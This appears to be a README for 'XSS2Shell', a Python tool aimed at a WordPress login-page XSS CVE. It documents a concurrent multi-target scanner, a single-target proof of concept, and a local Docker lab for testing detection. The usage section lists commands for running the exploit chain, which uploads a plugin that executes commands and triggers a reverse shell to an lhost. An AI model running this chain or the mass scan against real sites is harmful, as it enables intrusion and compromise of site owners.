XSS2Shell Multi-Target Scanner

Developer: YogaGymn

PoC/scanning utility for authorized WordPress security testing. The project contains a single-target exploitation workflow and a concurrent multi-target scan-only mode.

Important: Use this project only on WordPress installations that you own or have explicit authorization to test. The multi-target scanner is intentionally limited to fingerprinting and XSS reflection detection; it does not perform credential capture, plugin upload, or RCE against a target list.

Features

Single-target mode

The original script supports:

• WordPress version fingerprinting.
• XSS reflection detection.
• auto, xss, and direct modes.
• Direct WordPress authentication and plugin upload workflow.
• XSS-chain functionality present in the original PoC.
• Optional callback/reverse-shell functionality present in the original PoC.

Multi-target mode

The added scanner supports:

• Reading targets from a text file.
• Removing duplicate targets.
• Concurrent scanning with ThreadPoolExecutor.
• Configurable worker count.
• WordPress version detection.
• XSS reflection detection.
• Progress reporting.
• Results saved in the same order as the input file.
• Summary statistics.

The multi-target mode does not call the original RCE functions.

Requirements

• Python 3.9+
• requests

Install the dependency:

python3 -m pip install requests

If your Linux distribution uses an externally managed Python environment, use a virtual environment:

python3 -m venv .venv
source .venv/bin/activate
pip install requests

Installation

Clone or copy the project:

git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638

Or simply place:

xss2shell.py

in your working directory.

Multi-Target Scanner

Create a file named targets.txt:

https://example1.test
https://example2.test
https://example3.test

Comments and empty lines are ignored:

# Authorized lab targets
https://example1.test

https://example2.test

Run the scanner:

python3 xss2shell.py -i targets.txt

Default concurrency is 10 workers.

Change concurrency

For example, use 20 workers:

python3 xss2shell.py -i targets.txt --workers 20

For a small lab:

python3 xss2shell.py -i targets.txt --workers 5

Do not choose an unnecessarily high worker count because it can increase connection load and may trigger rate limiting or defensive controls.

Change output file

python3 xss2shell.py \
  -i targets.txt \
  --workers 10 \
  --output results.txt

Example Output

[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE

[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)

=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected  : 1
Not detected  : 2
Errors        : 0
Results saved : scan_results.txt

Result Format

The default scan_results.txt uses tab-separated fields:

TARGET  WORDPRESS_VERSION  XSS_STATUS  XSS_DETAIL

Example:

https://example1.test    6.8.2    XSS_NOT_DETECTED          ESCAPED
https://example2.test    6.7.1    XSS_REFLECTION_DETECTED   AREA_BYPASS

XSS status values

Status Meaning

XSS_REFLECTION_DETECTED The scanner detected the tested HTML reflection behavior. This is not by itself proof of RCE.

XSS_NOT_DETECTED The tested reflection was not detected.

ERROR The check encountered an exception.

XSS detail values

The scanner can report details such as:

• RAW_HTML
• AREA_BYPASS
• ESCAPED
• STRIPPED
• NOT_REFLECTED

These values describe the response observed by the detection routine; they should be manually validated before treating a result as a confirmed vulnerability.

Single-Target Usage

The original script also supports single-target arguments.

Auto mode

python3 xss2shell.py \
  -u admin \
  -p 'PASSWORD' \
  http://authorized-target.test

Direct mode

python3 xss2shell.py \
  --mode direct \
  -u admin \
  -p 'PASSWORD' \
  http://authorized-target.test

XSS mode

python3 xss2shell.py \
  --mode xss \
  --lhost 192.0.2.10 \
  http://authorized-lab.test

The XSS/direct workflows can create or activate a plugin containing command-execution functionality. Use them only inside an authorized test environment.

CLI Reference

usage: xss2shell.py [-h]
       [-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
       [--mode {auto,xss,direct}]
       [-u USERNAME] [-p PASSWORD]
       [--lhost LHOST] [--lport LPORT]
       [--slug SLUG] [--callback-port CALLBACK_PORT]
       [--no-rev]
       [target]

Arguments

Argument Description

target Single target URL.

-i, --input File containing multiple targets.

--output Output file for multi-target results. Default: scan_results.txt.

--workers Number of concurrent workers. Default: 10.

--mode Original single-target mode: auto, xss, or direct.

-u, --username WordPress username for the original direct/fallback workflow.

-p, --password WordPress password for the original direct/fallback workflow.

--lhost Callback/reverse-shell host for the original PoC.

--lport Reverse-shell port. Default: 4444.

--slug Plugin slug. Default: xss2shell.

--callback-port Callback server port. Default: 9090.

--no-rev Skip reverse-shell triggering in the original workflow.

How Concurrent Scanning Works

The multi-target mode uses Python's:

ThreadPoolExecutor

Each target is submitted as an independent scanning task:

targets.txt
     |
     v
+----+----+----+----+
| T1 | T2 | T3 | T4 | ... 
+----+----+----+----+
  |    |    |    |
  v    v    v    v
 WP   WP   WP   WP
 XSS  XSS  XSS  XSS
  |    |    |    |
  +----+----+----+
        |
        v
   scan_results.txt

Results are collected as workers finish, while the final output is written according to the original target order.

Scope and Safety

The multi-target mode is designed for authorized security assessments and lab environments.

Recommended workflow:

1. Obtain written authorization.
2. Put only authorized domains/IPs into targets.txt.
3. Start with a low worker count.
4. Review the scanner output.
5. Manually validate interesting findings.
6. Document evidence and remediation.

Do not use the scanner against third-party systems without permission.

Limitations

The scanner is not a complete vulnerability assessment tool.

In particular:

• A detected HTML reflection does not automatically prove exploitable XSS.
• A WordPress version obtained from public endpoints can be missing or inaccurate.
• unknown does not mean the target is vulnerable.
• Network errors can produce incomplete results.
• WAF/CDN behavior can affect detection.
• The scanner does not establish exploitability or RCE in multi-target mode.
• Results should be manually verified before reporting a vulnerability.

Project Structure

.
├── xss2shell.py
├── targets.txt
└── scan_results.txt

Lab CVE-2026-64638 (XSS2Shell) — Vulnerable vs Patched

A local, isolated lab for testing red team detection tools against CVE-2026-64638 (pre-auth reflected XSS on the WordPress Core login page).

Lab contents

All ports are bound only to 127.0.0.1, so they cannot be reached from outside your host machine.

Running the lab

docker compose up -d
docker compose ps

Wait 15–30 seconds for MySQL to become ready, then open:

• Vulnerable setup: http://localhost:8081
• Patched setup: http://localhost:8082

Complete the standard WordPress install wizard (create an admin account, etc.) on both instances.

Verifying the running version

# Check the actual WordPress version in each container
docker exec wp_lab_vulnerable wp core version --allow-root --path=/var/www/html
docker exec wp_lab_patched wp core version --allow-root --path=/var/www/html

If wp-cli isn't available in the image, check via the /wp-admin/index.php page (the version usually shows in the footer) or via the meta generator tag in the page source:

curl -s http://localhost:8081 | grep -i generator
curl -s http://localhost:8082 | grep -i generator

Testing your detection tool

Point your red team tool at both endpoints:

• True positive check: http://localhost:8081/wp-login.php → should be flagged as vulnerable.
• True negative check: http://localhost:8082/wp-login.php → should NOT be flagged as vulnerable (validates no false positives).

For version-based detection (rather than active exploitation), the safest and most common approach used by red/blue teams is version fingerprinting: pull the version number from the meta generator tag or the /wp-json/ REST API, then compare it against the vulnerable range (6.4 ≤ version ≤ 7.0.2).

curl -s http://localhost:8081/wp-json/ | grep -o '"version":"[^"]*"'

Tearing down the lab

docker compose down -v   # removes all containers + data volumes

Important notes

• This lab is intended purely for defensive/detection testing (version checks, response fingerprinting), not for running the full exploit chain. The sanitization-bypass details for CVE-2026-64638 have deliberately not been widely published by researchers or the WordPress team.
• Do not expose this lab's ports to a public network or the internet.
• If Docker Hub doesn't yet provide an official wordpress:7.0.3 tag, use the wordpress:latest image as a temporary stand-in for the patched instance, then update the tag once it becomes available.

License

No license information was present in the supplied source.

If this project is published publicly, add an explicit license file such as LICENSE. This code is a further development of the original code by ZSecurity.